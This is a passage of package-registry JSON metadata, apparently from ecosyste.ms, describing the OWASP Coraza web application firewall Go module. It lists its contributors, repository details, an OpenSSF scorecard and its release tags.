ipi","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"M4tteoP","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza%2Fv2/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540781,"maintainers_count":0,"namespaces_count":853380,"keywords_count":141351,"github":"golang","metadata":{"funded_packages_count":116144,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-16T05:07:04.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":4553833,"name":"github.com/corazawaf/coraza/v3","ecosystem":"go","description":"","homepage":"https://github.com/corazawaf/coraza","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/corazawaf/coraza","keywords_array":[],"namespace":"github.com/corazawaf/coraza","versions_count":22,"first_release_published_at":"2023-03-17T07:41:44.000Z","latest_release_published_at":"2026-10-02T13:33:47.000Z","latest_release_number":"v3.8.1","last_synced_at":"2026-10-15T09:17:03.022Z","created_at":"2022-07-08T04:56:26.641Z","updated_at":"2026-10-16T09:07:04.800Z","registry_url":"https://pkg.go.dev/github.com/corazawaf/coraza/v3","install_command":"go get github.com/corazawaf/coraza/v3","documentation_url":"https://pkg.go.dev/github.com/corazawaf/coraza/v3#section-documentation","metadata":null,"repo_metadata":{"id":37098580,"uuid":"267379172","full_name":"corazawaf/coraza","owner":"corazawaf","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library","archived":false,"fork":false,"pushed_at":"2026-09-22T18:27:21.000Z","size":32421,"stargazers_count":3834,"open_issues_count":125,"forks_count":358,"subscribers_count":36,"default_branch":"main","last_synced_at":"2026-09-23T13:54:57.544Z","etag":null,"topics":["coraza","coraza-waf","coreruleset","go","golang","hacktoberfest","http","modsecurity","owasp","owasp-crs","waf","web-application-firewall"],"latest_commit_sha":null,"homepage":"https://www.coraza.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/corazawaf.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"custom":"https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","github":"OWASP"}},"created_at":"2020-05-27T17:06:51.000Z","updated_at":"2026-09-23T13:32:51.000Z","dependencies_parsed_at":"2026-09-23T13:55:01.722Z","dependency_job_id":null,"html_url":"https://github.com/corazawaf/coraza","commit_stats":{"total_commits":917,"total_committers":35,"mean_commits":26.2,"dds":0.7197382769901854,"last_synced_commit":"cbf0aa7f57983b9234efec9c84c1f723c7229cd6"},"previous_names":["jptosso/coraza","jptosso/coraza-waf"],"tags_count":41,"template":false,"template_full_name":null,"purl":"pkg:github/corazawaf/coraza","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/sbom","scorecard":{"id":304568,"data":{"date":"2025-08-11","repo":{"name":"github.com/corazawaf/coraza","commit":"838d8e35d6e0e072b7372f79c95bfc661e02f265"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.7,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 6 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'checks' permission set to 'read': .github/workflows/regression.yml:86","Warn: no topLevel permission defined: .github/workflows/close-issues.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/fuzz.yml:1","Warn: no topLevel permission defined: .github/workflows/lint.yml:1","Warn: no topLevel permission defined: .github/workflows/regression.yml:1","Warn: no topLevel permission defined: .github/workflows/tinygo.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":10,"reason":"all dependencies are pinned","details":["Info:  15 out of  15 GitHub-owned GitHubAction dependencies pinned","Info:   6 out of   6 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: GoBuiltInFuzzer integration found: internal/operators/detect_sqli_test.go:19","Info: GoBuiltInFuzzer integration found: internal/operators/detect_xss_test.go:20","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decode_test.go:188","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decodeext_test.go:81","Info: GoBuiltInFuzzer integration found: internal/transformations/cmd_line_test.go:31"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":9,"reason":"1 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GO-2025-3537 / GHSA-q9f5-625g-xm39"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T21:42:12.531Z","repository_id":37098580,"created_at":"2025-08-17T21:42:12.531Z","updated_at":"2025-08-17T21:42:12.531Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37611364,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-23T02:00:07.637Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"corazawaf","name":"Coraza Web Application Firewall","uuid":"90621731","kind":"organization","description":"Coraza Web Application Firewall repositories","email":null,"website":"https://coraza.io","location":null,"twitter":"jptosso","company":null,"icon_url":"https://avatars.githubusercontent.com/u/90621731?v=4","repositories_count":13,"last_synced_at":"2023-03-04T05:10:32.118Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/corazawaf","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-14T10:20:39.268Z","updated_at":"2023-03-04T05:10:32.162Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf/repositories"},"tags":[{"name":"v3.7.0","sha":"27069d06c896be74b77b9a6c0b539a0cbfaca360","kind":"commit","published_at":"2026-04-06T03:18:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.7.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"87332e33fcaeb8ddb08ec610bdb4f823a1415b74","kind":"commit","published_at":"2026-03-31T13:01:19.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.6.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"85b20e07b78ae4c349fc6b864a4f1a4816c7da22","kind":"commit","published_at":"2026-03-27T02:23:28.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.5.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0/manifests"},{"name":"v3.4.0","sha":"9b1d1e944e147e8f0cb92877864f71b27b9c6a7d","kind":"commit","published_at":"2026-03-11T22:30:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.4.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0/manifests"},{"name":"v3.3.3","sha":"4722c9ad0d502abd56b8d6733c6b47eb4111742d","kind":"commit","published_at":"2025-03-20T14:44:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"f4de57c3a4fc05a7ad1f09f9fdc4b9b2b7d22cb3","kind":"commit","published_at":"2025-01-09T11:12:10.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"2904b9ff242e16fb9fe42be171b7bfd77028ba1e","kind":"commit","published_at":"2025-01-07T09:29:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"edad23460d1ed83ddbf985f41e3c66e2265904aa","kind":"commit","published_at":"2024-12-31T08:31:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"aaf44136da61921caa2353bd391c1341f3e480e8","kind":"tag","published_at":"2024-06-23T13:49:11.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"7c91e8c2a5853fde66f8b4e3d8f0aee671445755","kind":"tag","published_at":"2024-06-20T09:47:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0/manifests"},{"name":"v3.1.0","sha":"bb55b68dede1db71c54b08102e126e89d0299478","kind":"commit","published_at":"2024-02-09T13:11:43.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0/manifests"},{"name":"v3.0.4","sha":"2468382c3cc58b6107874fe3e70f620f203d8cf5","kind":"commit","published_at":"2023-09-25T10:17:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4/manifests"},{"name":"v3.0.3","sha":"4f30afeca2b6cf48f8cd73acd80b072721172782","kind":"commit","published_at":"2023-08-06T07:49:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"0700bb01d4e656406a407b4944fd7d47483eda6d","kind":"commit","published_at":"2023-06-27T08:22:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"a5239ba3ce839e14d9b4f9486e1b4a403dcade8c","kind":"commit","published_at":"2023-06-25T16:16:26.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"ad50864cfa00f5143fff7f6877847326fdc4b394","kind":"commit","published_at":"2023-05-31T07:32:55.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0/manifests"},{"name":"v3.0.0-rc.3","sha":"721d1de4db5357d07308d07a1c2aea92085b27d4","kind":"tag","published_at":"2023-05-27T04:52:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3/manifests"},{"name":"v3.0.0-rc.2","sha":"6f11f53245d24d112f9b1ddb1aedccefe87be705","kind":"commit","published_at":"2023-04-12T16:49:20.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2/manifests"},{"name":"v3.0.0-rc.1","sha":"c134cac34f597501c11a95eb7d1fbd7f1a219977","kind":"tag","published_at":"2023-03-17T14:27:34.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1/manifests"},{"name":"v2.0.1","sha":"a1529abf4746ab3082eb40622fdbeed2a7777fcb","kind":"commit","published_at":"2022-07-25T14:33:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"fdad9f5e07fb0c061a55426627afbefcd2b5c657","kind":"commit","published_at":"2022-03-22T21:14:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0/manifests"},{"name":"v2.0.0-rc.3","sha":"62dd3db3f72543eaf407ea730d289265aa203fde","kind":"commit","published_at":"2022-03-10T18:21:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3/manifests"},{"name":"v2.0.0-rc.2","sha":"b57219cb5731604e02dadc5e2955bfbbcfe79e47","kind":"commit","published_at":"2022-02-11T15:02:33.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2/manifests"},{"name":"v2.0.0-rc.1","sha":"3631394d2249b89b792ae76ab4552a00459b31b6","kind":"commit","published_at":"2021-12-31T15:21:29.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1/manifests"},{"name":"v2.0.0-beta.6","sha":"364461e00d932a3070f777400a2a3b6053df3e9f","kind":"commit","published_at":"2021-12-11T18:07:37.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf